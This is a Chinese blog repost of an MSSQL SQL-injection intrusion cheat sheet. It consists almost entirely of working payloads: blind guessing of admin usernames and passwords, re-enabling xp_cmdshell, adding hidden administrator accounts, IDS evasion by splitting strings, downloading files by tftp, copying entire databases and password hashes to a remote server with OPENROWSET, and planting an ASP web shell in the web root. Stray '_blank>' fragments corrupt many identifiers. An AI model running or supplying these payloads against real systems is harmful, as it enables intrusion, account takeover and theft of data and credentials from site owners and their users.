博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
MSSQL 手工入侵网站方法
阅读量:5098 次
发布时间:2019-06-13

本文共 14995 字,大约阅读时间需要 49 分钟。

1.判断有无注入点 

' ; and 1=1 and 1=2

2.猜表: 常见的表:admin adminuser user pass password 等.. 

and 0<>(select count(*) from *) 
and 0<>(select count(*) from admin) ---判断是否存在admin这张表

3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个 

and 0<(select count(*) from admin) 
and 1<(select count(*) from admin)

4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称. 

and 1=(select count(*) from admin where len(*) >0)-- 
and 1=(select count(*) from admin where len(用户字段名称name)>0) 
and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)

5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止 

and 1=(select count(*) from admin where len(*)>0) 
and 1=(select count(*) from admin where len(name)>6) 错误 
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6 
and 1=(select count(*) from admin where len(name)=6) 正确

and 1=(select count(*) from admin where len(password)>11) 正确 

and 1=(select count(*) from admin where len(password)>12) 错误 长度是12 
and 1=(select count(*) from admin where len(password)=12) 正确

6.猜解字符 

and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位 
and 1= (select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位 
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了 
and 1=(select top 1 count(*) from Admin where Asc(mid (pass,5,1))=51) -- 
这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.

group by users.id having 1=1-- 

group by users.id, users.username, users.password, users.privs having 1= 1-- 
; insert into users values( 666, attacker, foobar, 0xffff )--

UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS Where TABLE_blank> _NAME=logintable- 

UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS Where TABLE_blank>_NAME=logintable Where COLUMN_blank>_NAME NOT IN (login_blank>_id)- 
UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS Where TABLE_blank>_NAME=logintable Where COLUMN_blank>_NAME NOT IN (login_blank>_id,login_blank>_name)- 
UNION Select TOP 1 login_blank> _name FROM logintable- 
UNION Select TOP 1 password FROM logintable where login_blank>_name=Rahul--

看_blank>服务器打的补丁=出错了打了SP4补丁 

and 1=(select @@VERSION)--

看_blank>数据库连接账号的权限,返回正常,证明是_blank>服务器角色sysadmin权限。 

and 1=(Select IS_blank>_SRVROLEMEMBER(sysadmin))--

判断连接_blank>数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA) 

and sa=(Select System_blank>_user)-- 
and user_blank>_name()=dbo-- 
and 0<>(select user_blank>_name()--

看xp_blank>_cmdshell是否删除 

and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = X AND name = xp_blank>_cmdshell)--

xp_blank>_cmdshell被删除,恢复,支持绝对路径的恢复 

;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll-- 
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c: \inetpub\wwwroot\xplog70.dll--

反向PING自己实验 

;use master;declare @s int;exec sp_blank>_oacreate "wscript.shell",@s out;exec sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--

加帐号 

;DECLARE @shell INT EXEC SP_blank>_OACreate wscript.shell,@shell OUTPUT EXEC SP_blank> _OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add--

创建一个虚拟目录E盘: 

;declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点" -v "e","e: \"--

访问属性:(配合写入一个webshell) 

declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse

爆库 特殊_blank>技巧::%5c=\ 或者把/和\ 修改%5提交 

and 0< >(select top 1 paths from newtable)--

得到库名(从1到5都是系统的id,6以上才可以判断) 

and 1=(select name from master.dbo.sysdatabases where dbid=7)-- 
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 
依次提交 dbid = 7,8,9.... 得到更多的_blank>数据库名

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin 

and 0 <>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。 
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin 
and uid>(str (id))) 暴到UID的数值假设为18779569 uid=id 
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_blank>_id 
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in 
(id,...)) 来暴出其他的字段 
and 0<(select user_blank>_id from BBS.dbo.admin where username>1) 可以得到用户名 
依次可以得到_blank>密码。。。。。假设存在user_blank>_id username ,password 等字段

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 

and 0<> (select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名 
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address)) 
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判断id值 
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段

?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin 

?id=-1 union select 1,2,3,4,5,6,7,8, *,9,10,11,12,13 from admin (union,access也好用)

得到WEB路径 

;create table [dbo].[swap] ([swappass][char](255));-- 
and (select top 1 swappass from swap)=1-- 
;Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM\CurrentControlSet \Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test OUTPUT insert into paths (path) values(@test)-- 
;use ku1;-- 
;create table cmd (str image);-- 建立image类型的表cmd

存在xp_blank>_cmdshell的测试过程: 

;exec master..xp_blank>_cmdshell dir 
;exec master.dbo.sp_blank>_addlogin jiaoniang$;-- 加SQL帐号 
;exec master.dbo.sp_blank>_password null,jiaoniang$,1866574;-- 
;exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin;-- 
;exec master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;-- 
;exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add;-- 
exec master..xp_blank> _servicecontrol start, schedule 启动_blank>服务 
exec master..xp_blank>_servicecontrol start, server 
; DECLARE @shell INT EXEC SP_blank>_OACreate wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add 
;DECLARE @shell INT EXEC SP_blank>_OACreate wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add 
; exec master..xp_blank>_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件

;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\ 

;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\ 
;declare @a;set @a=db_blank>_name();backup database @a to disk=你的IP你的共享目录bak.dat 
如果被限制则可以。 
select * from openrowset (_blank>sqloledb,server;sa;,select OK! exec master.dbo.sp_blank>_addlogin hax)

查询构造: 

Select * FROM news Where id=... AND topic=... AND ..... 
adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <> 
select 123;-- 
;use master;-- 
:a or name like fff%;-- 显示有一个叫ffff的用户哈。 
and 1<>(select count (email) from [user]);-- 
;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;-- 
;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;-- 
;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;-- 
;update [users] set email=(select top 1 count(id) from password) where name=ffff;-- 
;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;-- 
;update [users] set email=(select top 1 name from password where id=2) where name=ffff;-- 
上面的语句是得到_blank>数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。 
通过查看ffff的用户资料可得第一个用表叫ad 
然后根据表名ad得到这个表的ID 得到第二个表的名字

insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char (0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-- 

insert into users values( 667,123,123,0xffff)-- 
insert into users values ( 123, admin--, password, 0xffff)-- 
;and user>0 
;and (select count(*) from sysobjects)>0 
;and (select count(*) from mysysobjects)>0 //为access_blank>数据库

枚举出数据表名 

;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);-- 
这是将第一个表名更新到aaa的字段处。 
读出第一个表,第二个表可以这样读出来(在条件后加上 and name< >刚才得到的表名)。 
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);-- 
然后id=1552 and exists(select * from aaa where aaa>5) 
读出第二个表,一个个的读出,直到没有为止。 
读字段是这样: 
;update aaa set aaa=(select top 1 col_blank>_name (object_blank>_id(表名),1));-- 
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名 
;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),2));-- 
然后id=152 and exists(select * from aaa where aaa>5)出错,得到字段名

[获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名] 

update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…) 
通过SQLSERVER注入_blank>漏洞建_blank>数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]

[获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名] 

update 表名 set 字段= (select top 1 col_blank>_name(object_blank>_id(要查询的数据表名),字段列如:1) [ where 条件]

绕过IDS的检测[使用变量] 

;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\ 
;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\

1、 开启远程_blank>数据库 

基本语法 
select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 ) 
参数: (1) OLEDB Provider name 
2、 其中连接字符串参数可以是任何端口用来连接,比如 
select * from OPENROWSET(SQLOLEDB, uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table 
3.复制目标主机的整个_blank>数据库 insert所有远程表到本地表。

基本语法: 
insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2 
这行语句将目标主机上table2表中的所有数据复制到远程_blank>数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如: 
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from table1) select * from table2 
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysdatabases) 
select * from master.dbo.sysdatabases 
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from _blank>_sysobjects) 
select * from user_blank> _database.dbo.sysobjects 
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address= 192.168.0.1,1433;,select * from _blank>_syscolumns) 
select * from user_blank> _database.dbo.syscolumns 
复制_blank>数据库: 
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd= 123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1 
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2

复制哈西表(HASH)登录_blank>密码的hash存储于sysxlogins中。方法如下: 

insert into OPENROWSET (SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysxlogins) select * from database.dbo.sysxlogins 
得到hash之后,就可以进行暴力破解。

遍历目录的方法: 先创建一个临时表:temp 

;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 
;insert temp exec master.dbo.xp_blank>_availablemedia;-- 获得当前所有驱动器 
;insert into temp(id) exec master.dbo.xp_blank>_subdirs c:\;-- 获得子目录列表 
;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;-- 获得所有子目录的目录树结构,并寸入temp表中 
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell type c:\web\index.asp;-- 查看某个文件的内容 
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\;-- 
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a;-- 
;insert into temp(id) exec master.dbo.xp_blank> _cmdshell cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc 
;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;-- (xp_blank>_dirtree适用权限PUBLIC) 
写入表: 
语句1:and 1= (Select IS_blank>_SRVROLEMEMBER(sysadmin));-- 
语句2:and 1=(Select IS_blank>_SRVROLEMEMBER (serveradmin));-- 
语句3:and 1=(Select IS_blank>_SRVROLEMEMBER(setupadmin));-- 
语句4:and 1=(Select IS_blank>_SRVROLEMEMBER(securityadmin));-- 
语句5:and 1=(Select IS_blank>_SRVROLEMEMBER (securityadmin));-- 
语句6:and 1=(Select IS_blank>_SRVROLEMEMBER(diskadmin));-- 
语句7:and 1= (Select IS_blank>_SRVROLEMEMBER(bulkadmin));-- 
语句8:and 1=(Select IS_blank>_SRVROLEMEMBER (bulkadmin));-- 
语句9:and 1=(Select IS_blank>_MEMBER(db_blank>_owner));--

把路径写到表中去: 

;create table dirs(paths varchar(100), id int)-- 
;insert dirs exec master.dbo.xp_blank>_dirtree c:\-- 
and 0<>(select top 1 paths from dirs)-- 
and 0<> (select top 1 paths from dirs where paths not in(@Inetpub))-- 
;create table dirs1(paths varchar(100), id int)-- 
;insert dirs exec master.dbo.xp_blank>_dirtree e:\web-- 
and 0<>(select top 1 paths from dirs1)--

把_blank>数据库备份到网页目录:下载 

;declare @a sysname; set @a=db_blank>_name();backup database @a to disk=e:\web\down.bak;--

and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc) 

and 1=(Select Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) from sysobjects) 参看相关表。 
and 1=(select user_blank>_id from USER_blank>_LOGIN) 
and 0=(select user from USER_blank>_LOGIN where user>1)

-=- wscript.shell example -=- 

declare @o int 
exec sp_blank>_oacreate wscript.shell, @o out 
exec sp_blank>_oamethod @o, run, NULL, notepad.exe 
; declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, notepad.exe--

declare @o int, @f int, @t int, @ret int 

declare @line varchar(8000) 
exec sp_blank>_oacreate scripting.filesystemobject, @o out 
exec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1 
exec @ret = sp_blank>_oamethod @f, readline, @line out 
while( @ret = 0 ) 
begin 
print @line 
exec @ret = sp_blank>_oamethod @f, readline, @line out 
end

declare @o int, @f int, @t int, @ret int 

exec sp_blank>_oacreate scripting.filesystemobject, @o out 
exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1 
exec @ret = sp_blank>_oamethod @f, writeline, NULL, 
<% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %>

declare @o int, @ret int 

exec sp_blank>_oacreate speech.voicetext, @o out 
exec sp_blank> _oamethod @o, register, NULL, foo, bar 
exec sp_blank>_oasetproperty @o, speed, 150 
exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528
waitfor delay 00:00:05

; declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05--

xp_blank>_dirtree适用权限PUBLIC 

exec master.dbo.xp_blank>_dirtree c:\ 
返回的信息有两个字段 subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。 
create table dirs(paths varchar(100), id int) 
建表,这里建的表是和上面xp_blank>_dirtree相关连,字段相等、类型相同。 
insert dirs exec master.dbo.xp_blank>_dirtree c:\ 
只要我们建表与存储进程返回的字段相定义相等就能够执行!达到写表的效果, 一步步达到我们想要的信息

转载于:https://www.cnblogs.com/amwld/archive/2011/06/06/2073610.html

你可能感兴趣的文章
SQLPlus的两种登录方式的不同效果
查看>>
《算法导论》CLRS算法C++实现(一)P11 插入排序
查看>>
ZROI2018暑期集训B班训练赛#1解题报告
查看>>
ListIterator
查看>>
HDU 2855 Fibonacci Check-up 矩阵
查看>>
Matlab使用xlsread, xlswrite函数导致excel进程无法终止的问题
查看>>
scrapy爬取数据的基本流程及url地址拼接
查看>>
Python 生产者和消费者模型
查看>>
GLSL中 Billboard和Point的顶点空间变换
查看>>
Fiddler基本用法:手机抓包
查看>>
poj 1328 Radar Installation 排序贪心
查看>>
数组与字符串 1.6
查看>>
信用卡还款项目(同事封装的ajax)
查看>>
java基本概念
查看>>
Struts2学习笔记(六) 结果(Result)(上)
查看>>
ajax提交写法
查看>>
Java编程语言基础 第三章 if嵌套分支用法
查看>>
判断质数的方法
查看>>
安全和共享设置
查看>>
树链剖分
查看>>